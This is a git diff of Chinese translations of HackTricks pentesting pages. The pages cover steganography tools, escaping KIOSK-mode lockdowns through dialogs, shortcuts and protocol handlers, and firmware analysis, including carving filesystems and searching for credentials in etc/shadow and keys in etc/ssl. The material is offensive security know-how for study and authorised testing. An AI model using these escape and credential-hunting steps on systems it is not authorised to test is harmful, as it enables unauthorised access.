Deepsound允许使用AES-256在声音文件中加密和检测信息。可从[官方页面](http://jpinsoft.net/deepsound/download.aspx)下载。
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Sonic Visualizer是一个无价的工具,用于对音频文件进行视觉和分析检查,可以揭示其他方法无法检测到的隐藏元素。访问[官方网站](https://www.sonicvisualiser.org/)了解更多信息。
|
||||
Sonic Visualizer是一款无价的工具,用于对音频文件进行视觉和分析检查,可以揭示其他方法无法检测到的隐藏元素。访问[官方网站](https://www.sonicvisualiser.org/)了解更多信息。
|
||||
|
||||
### **DTMF Tones - 拨号音**
|
||||
|
||||
|
@ -202,29 +203,30 @@ math.sqrt(2500) #50
|
|||
```
|
||||
### **盲文翻译**
|
||||
|
||||
要进行盲文翻译,请使用[Branah盲文翻译器](https://www.branah.com/braille-translator)这个优秀的资源。
|
||||
要进行盲文翻译,请使用[Branah盲文翻译器](https://www.branah.com/braille-translator)这一优秀资源。
|
||||
|
||||
## **参考资料**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**尝试困难安全组**
|
||||
**Try Hard安全团队**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# 从KIOSKs中逃脱
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**:
|
||||
您可以在以下网址检查他们的网站并尝试他们的引擎,**免费**使用:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -34,11 +35,11 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
| ------------- | -------------------------------------------------------------------- |
|
||||
| 电源按钮 | 关闭并重新打开设备可能会显示启动屏幕 |
|
||||
| 电源电缆 | 检查当电源短暂中断时设备是否重新启动 |
|
||||
| USB端口 | 连接物理键盘以获得更多快捷键 |
|
||||
| USB端口 | 连接物理键盘以使用更多快捷键 |
|
||||
| 以太网 | 网络扫描或嗅探可能会进一步利用 |
|
||||
|
||||
|
||||
## 检查GUI应用程序内可能的操作
|
||||
## 检查GUI应用程序内的可能操作
|
||||
|
||||
**常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,这些对话框将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能:
|
||||
|
||||
|
@ -62,7 +63,7 @@ WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫
|
|||
|
||||
#### Windows
|
||||
|
||||
例如 _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可用于执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
例如_cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ 在这里找到更多可用于执行命令(并执行意外操作)的二进制文件:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
|
@ -72,7 +73,7 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
### 绕过路径限制
|
||||
|
||||
* **环境变量**:有很多环境变量指向某个路径
|
||||
* **环境变量**:有许多环境变量指向某些路径
|
||||
* **其他协议**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **符号链接**
|
||||
* **快捷方式**:CTRL+N(打开新会话),CTRL+R(执行命令),CTRL+SHIFT+ESC(任务管理器),Windows+E(打开资源管理器),CTRL-B,CTRL-I(收藏夹),CTRL-H(历史记录),CTRL-L,CTRL-O(文件/打开对话框),CTRL-P(打印对话框),CTRL-S(另存为)
|
||||
|
@ -139,8 +140,8 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
* 从左侧向右滑动以查看所有打开的窗口,最小化KIOSK应用程序并直接访问整个操作系统;
|
||||
* 从右侧向左滑动以打开操作中心,最小化KIOSK应用程序并直接访问整个操作系统;
|
||||
* 从顶部边缘滑入以使全屏模式下打开的应用程序的标题栏可见;
|
||||
* 从底部向上滑动以在全屏应用程序中显示任务栏。
|
||||
* 从顶部边缘向内滑动,使全屏模式下打开的应用程序的标题栏可见;
|
||||
* 从底部向上滑动,显示全屏应用程序中的任务栏。
|
||||
|
||||
### Internet Explorer技巧
|
||||
|
||||
|
@ -192,43 +193,43 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
### 手势和按钮
|
||||
|
||||
* 使用四(或五)个手指向上滑动/双击主页按钮:查看多任务视图并更改应用程序
|
||||
* 使用四或五个手指向左或向右滑动:以切换到下一个/上一个应用程序
|
||||
* 用五个手指捏屏幕/触摸主页按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕
|
||||
* 使用四根(或五根)手指向上滑动/双击主页按钮:查看多任务视图并更改应用程序
|
||||
* 使用四根或五根手指向左或向右滑动:以切换到下一个/上一个应用程序
|
||||
* 用五根手指捏屏幕/触摸主页按钮/从屏幕底部向上快速滑动一个手指:访问主屏幕
|
||||
* 用一个手指从屏幕底部向上缓慢滑动1-2英寸:会出现底栏
|
||||
* 用一个手指从屏幕顶部向下滑动:查看通知
|
||||
* 用一个手指从屏幕右上角向下滑动:查看iPad Pro的控制中心
|
||||
* 用一个手指从屏幕左侧向右滑动1-2英寸:查看今天视图
|
||||
* 用一个手指快速从屏幕中心向左或向右滑动:切换到下一个/上一个应用程序
|
||||
* 按住iPad右上角的开/关/睡眠按钮+将滑块全部向右滑动:关机
|
||||
* 按住iPad右上角的开/关/睡眠按钮+将“滑动以关机”滑块全部向右移动:关机
|
||||
* 按住iPad右上角的开/关/睡眠按钮和主页按钮几秒钟:强制硬关机
|
||||
* 快速按下iPad右上角的开/关/睡眠按钮和主页按钮:拍摄屏幕截图,截图将出现在显示屏左下角。同时短按两个按钮,如果您按住几秒钟,将执行强制关机。
|
||||
* 快速按下iPad右上角的开/关/睡眠按钮和主页按钮:拍摄屏幕截图,截图将在显示屏左下角弹出。同时短按两个按钮,如果您按住几秒钟,将执行强制硬关机。
|
||||
|
||||
### 快捷键
|
||||
|
||||
您应该有一个iPad键盘或USB键盘适配器。这里只显示可以帮助退出应用程序的快捷键。
|
||||
您应该有一个iPad键盘或USB键盘适配器。这里只显示可帮助退出应用程序的快捷键。
|
||||
|
||||
| 键 | 名称 |
|
||||
| 键 | 名称 |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Command |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⌘ | 命令 |
|
||||
| ⌥ | 选项(Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Return |
|
||||
| ↩ | 返回 |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Left Arrow |
|
||||
| → | Right Arrow |
|
||||
| ↑ | Up Arrow |
|
||||
| ↓ | Down Arrow |
|
||||
| ^ | 控制 |
|
||||
| ← | 左箭头 |
|
||||
| → | 右箭头 |
|
||||
| ↑ | 上箭头 |
|
||||
| ↓ | 下箭头 |
|
||||
|
||||
#### 系统快捷键
|
||||
|
||||
这些快捷键用于视觉设置和声音设置,具体取决于iPad的使用。
|
||||
这些快捷键用于视觉设置和声音设置,取决于iPad的使用。
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | 调暗屏幕 |
|
||||
| F2 | 调亮屏幕 |
|
||||
| F1 | 降低屏幕亮度 |
|
||||
| F2 | 增加屏幕亮度 |
|
||||
| F7 | 后退一首歌 |
|
||||
| F8 | 播放/暂停 |
|
||||
| F9 | 跳过歌曲 |
|
||||
|
@ -246,24 +247,24 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
| ⌘ (Space) | 打开Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 |
|
||||
| ⌘\~ | 转到上一个应用程序 |
|
||||
| ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角保存或对其进行操作) |
|
||||
| ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角以保存或对其进行操作) |
|
||||
| ⌘⇧4 | 截图并在编辑器中打开 |
|
||||
| 按住⌘ | 列出应用程序可用的快捷键 |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | 弹出底栏 |
|
||||
| 按住⌘ | 应用程序可用的快捷键列表 |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | 弹出Dock |
|
||||
| ^⌥H (Control-Option-H) | 主页按钮 |
|
||||
| ^⌥H H (Control-Option-H-H) | 显示多任务栏 |
|
||||
| ^⌥I (Control-Option-i) | 项目选择器 |
|
||||
| Escape | 返回按钮 |
|
||||
| 逃逸键 | 返回按钮 |
|
||||
| → (右箭头) | 下一个项目 |
|
||||
| ← (左箭头) | 上一个项目 |
|
||||
| ↑↓ (上箭头, 下箭头) | 同时点击选定的项目 |
|
||||
| ↑↓ (上箭头, 下箭头) | 同时点击所选项目 |
|
||||
| ⌥ ↓ (Option-下箭头) | 向下滚动 |
|
||||
| ⌥↑ (Option-上箭头) | 向上滚动 |
|
||||
| ⌥← 或 ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 |
|
||||
| ^⌥S (Control-Option-S) | 打开或关闭VoiceOver语音 |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 |
|
||||
| ⌘⇥ (Command-Tab) | 切换回原始应用程序 |
|
||||
| ←+→, 然后Option + ← 或 Option+→ | 通过底栏导航 |
|
||||
| ←+→, 然后Option + ← 或 Option+→ | 通过Dock导航 |
|
||||
#### Safari快捷键
|
||||
|
||||
| 快捷键 | 动作 |
|
||||
|
@ -303,24 +304,25 @@ _bash, sh, zsh..._ 更多信息请查看:[https://gtfobins.github.io/](https:/
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已被**窃取恶意软件**入侵。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向**HackTricks**和**HackTricks Cloud** github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Firmware Analysis
|
||||
# 固件分析
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **介绍**
|
||||
|
||||
固件是一种基本软件,通过管理和促进硬件组件与用户交互的软件之间的通信,使设备能够正确运行。它存储在永久性存储器中,确保设备可以从通电时刻起访问重要指令,从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。
|
||||
固件是一种基本软件,通过管理和促进硬件组件与用户交互的软件之间的通信,使设备能够正确运行。它存储在永久内存中,确保设备可以从通电时访问关键指令,从而启动操作系统。检查和可能修改固件是识别安全漏洞的关键步骤。
|
||||
|
||||
## **收集信息**
|
||||
|
||||
**收集信息**是了解设备构成和使用的技术的关键初始步骤。这个过程涉及收集以下数据:
|
||||
|
||||
* CPU架构和运行的操作系统
|
||||
* CPU 架构和运行的操作系统
|
||||
* 引导加载程序的具体信息
|
||||
* 硬件布局和数据表
|
||||
* 代码库指标和源位置
|
||||
|
@ -31,28 +32,27 @@
|
|||
* 架构和流程图
|
||||
* 安全评估和已识别的漏洞
|
||||
|
||||
为此,\*\*开源情报(OSINT)\*\*工具是非常宝贵的,通过手动和自动审查过程分析任何可用的开源软件组件。像[Coverity Scan](https://scan.coverity.com)和[Semmle’s LGTM](https://lgtm.com/#explore)这样的工具提供免费的静态分析,可用于发现潜在问题。
|
||||
为此,**开源情报 (OSINT)** 工具是非常宝贵的,还有通过手动和自动审查过程分析任何可用的开源软件组件。像 [Coverity Scan](https://scan.coverity.com) 和 [Semmle’s LGTM](https://lgtm.com/#explore) 这样的工具提供免费的静态分析,可用于发现潜在问题。
|
||||
|
||||
## **获取固件**
|
||||
|
||||
获取固件可以通过各种方式进行,每种方式都有其自己的复杂程度:
|
||||
获取固件可以通过各种方式进行,每种方式都有其自身的复杂性水平:
|
||||
|
||||
* **直接**从源头(开发人员、制造商)
|
||||
* **直接**从源头获取 (开发人员、制造商)
|
||||
* 根据提供的说明**构建**固件
|
||||
* 从官方支持站点**下载**
|
||||
* 利用**Google dork**查询查找托管的固件文件
|
||||
* 直接访问**云存储**,使用诸如[S3Scanner](https://github.com/sa7mon/S3Scanner)之类的工具
|
||||
* 利用 **Google dork** 查询来查找托管的固件文件
|
||||
* 直接访问 **云存储**,使用像 [S3Scanner](https://github.com/sa7mon/S3Scanner) 这样的工具
|
||||
* 通过中间人技术拦截**更新**
|
||||
* 通过**UART**、**JTAG**或**PICit**等连接从设备**提取**
|
||||
* 通过连接如 **UART**、**JTAG** 或 **PICit** 从设备中**提取**
|
||||
* 在设备通信中**嗅探**更新请求
|
||||
* 识别和使用**硬编码的更新端点**
|
||||
* 从引导加载程序或网络**转储**
|
||||
* 当一切失败时,**移除和读取**存储芯片,使用适当的硬件工具
|
||||
* 从引导加载程序或网络中**转储**
|
||||
* 当一切失败时,**移除并读取**存储芯片,使用适当的硬件工具
|
||||
|
||||
## 分析固件
|
||||
|
||||
现在您**已经获得了固件**,您需要提取有关固件的信息,以了解如何处理它。您可以使用不同的工具进行此操作:
|
||||
|
||||
现在你**有了固件**,你需要提取关于它的信息,以了解如何处理它。您可以使用不同的工具进行此操作:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -61,8 +61,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
|
||||
如果使用这些工具没有找到太多信息,请使用 `binwalk -E <bin>` 检查图像的**熵**,如果熵低,则不太可能被加密。如果熵高,则很可能被加密(或以某种方式被压缩)。
|
||||
如果使用这些工具没有找到太多信息,请使用 `binwalk -E <bin>` 检查图像的**熵**,如果熵较低,则不太可能是加密的。如果熵较高,则很可能是加密的(或以某种方式压缩)。
|
||||
|
||||
此外,您可以使用这些工具来提取**嵌入在固件中的文件**:
|
||||
|
||||
|
@ -75,12 +74,11 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
|||
### 获取文件系统
|
||||
|
||||
通过之前提到的工具,如 `binwalk -ev <bin>`,您应该已经能够**提取文件系统**。\
|
||||
Binwalk通常会将其提取到一个**以文件系统类型命名的文件夹**中,通常是以下之一:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
|
||||
Binwalk通常会将其提取到一个**以文件系统类型命名的文件夹**中,这通常是以下之一:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs。
|
||||
|
||||
#### 手动提取文件系统
|
||||
|
||||
有时,binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下,使用binwalk来**找到文件系统的偏移量并从二进制文件中切割压缩的文件系统**,然后根据其类型**手动提取**文件系统,按照以下步骤操作。
|
||||
|
||||
有时,binwalk **在其签名中没有文件系统的魔术字节**。在这些情况下,请使用binwalk来**查找文件系统的偏移量并从二进制文件中切割压缩的文件系统**,然后根据其类型**手动提取**文件系统,具体步骤如下。
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
|
@ -92,9 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
|
||||
运行以下 **dd 命令** 对 Squashfs 文件系统进行切割。
|
||||
|
||||
运行以下 **dd 命令** 对 Squ Squashfs 文件系统进行切割。
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
|
@ -104,8 +100,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
|
||||
Alternatively, you can run the following command.
|
||||
或者,也可以运行以下命令。
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
|
@ -131,12 +126,11 @@ Alternatively, you can run the following command.
|
|||
|
||||
## 分析固件
|
||||
|
||||
获取固件后,解剖固件以了解其结构和潜在漏洞至关重要。这个过程涉及使用各种工具来分析并从固件映像中提取有价值的数据。
|
||||
获得固件后,对其进行解剖以了解其结构和潜在的漏洞至关重要。这个过程涉及使用各种工具来分析和提取固件映像中的有价值数据。
|
||||
|
||||
### 初始分析工具
|
||||
|
||||
提供了一组命令,用于对二进制文件(称为 `<bin>`)进行初始检查。这些命令有助于识别文件类型,提取字符串,分析二进制数据,并了解分区和文件系统的详细信息:
|
||||
|
||||
提供了一组命令用于对二进制文件(称为 `<bin>`)进行初始检查。这些命令有助于识别文件类型,提取字符串,分析二进制数据,并了解分区和文件系统的详细信息:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
|
@ -145,42 +139,39 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
评估图像的加密状态,可以使用 `binwalk -E <bin>` 命令来检查**熵**。低熵表明缺乏加密,而高熵则表明可能存在加密或压缩。
|
||||
|
||||
评估图像的加密状态,可以使用 `binwalk -E <bin>` 检查**熵**。低熵表明缺乏加密,而高熵则表明可能存在加密或压缩。
|
||||
|
||||
要提取**嵌入文件**,建议使用**file-data-carving-recovery-tools**文档和**binvis.io**进行文件检查。
|
||||
要提取**嵌入式文件**,建议使用类似**file-data-carving-recovery-tools**文档和**binvis.io**进行文件检查的工具和资源。
|
||||
|
||||
### 提取文件系统
|
||||
|
||||
使用 `binwalk -ev <bin>`,通常可以提取文件系统,通常会提取到以文件系统类型命名的目录中(例如 squashfs、ubifs)。但是,当**binwalk**由于缺少魔术字节而无法识别文件系统类型时,就需要进行手动提取。这涉及使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令切割出文件系统:
|
||||
|
||||
使用 `binwalk -ev <bin>`,通常可以提取文件系统,通常会提取到以文件系统类型命名的目录中(例如 squashfs、ubifs)。但是,当**binwalk**由于缺少魔术字节而无法识别文件系统类型时,就需要进行手动提取。这涉及使用 `binwalk` 定位文件系统的偏移量,然后使用 `dd` 命令来切割出文件系统:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
|
||||
### 文件系统分析
|
||||
|
||||
文件系统提取后,开始搜索安全漏洞。注意不安全的网络守护程序、硬编码凭据、API 端点、更新服务器功能、未编译代码、启动脚本以及用于离线分析的已编译二进制文件。
|
||||
提取文件系统后,开始搜索安全漏洞。注意关注不安全的网络守护程序、硬编码凭据、API 端点、更新服务器功能、未编译代码、启动脚本以及用于离线分析的已编译二进制文件。
|
||||
|
||||
需要检查的**关键位置**和**项目**包括:
|
||||
要检查的**关键位置**和**项目**包括:
|
||||
|
||||
* **etc/shadow** 和 **etc/passwd** 中的用户凭据
|
||||
* **etc/ssl** 中的 SSL 证书和密钥
|
||||
* 潜在漏洞的配置和脚本文件
|
||||
* 用于进一步分析的嵌入式二进制文件
|
||||
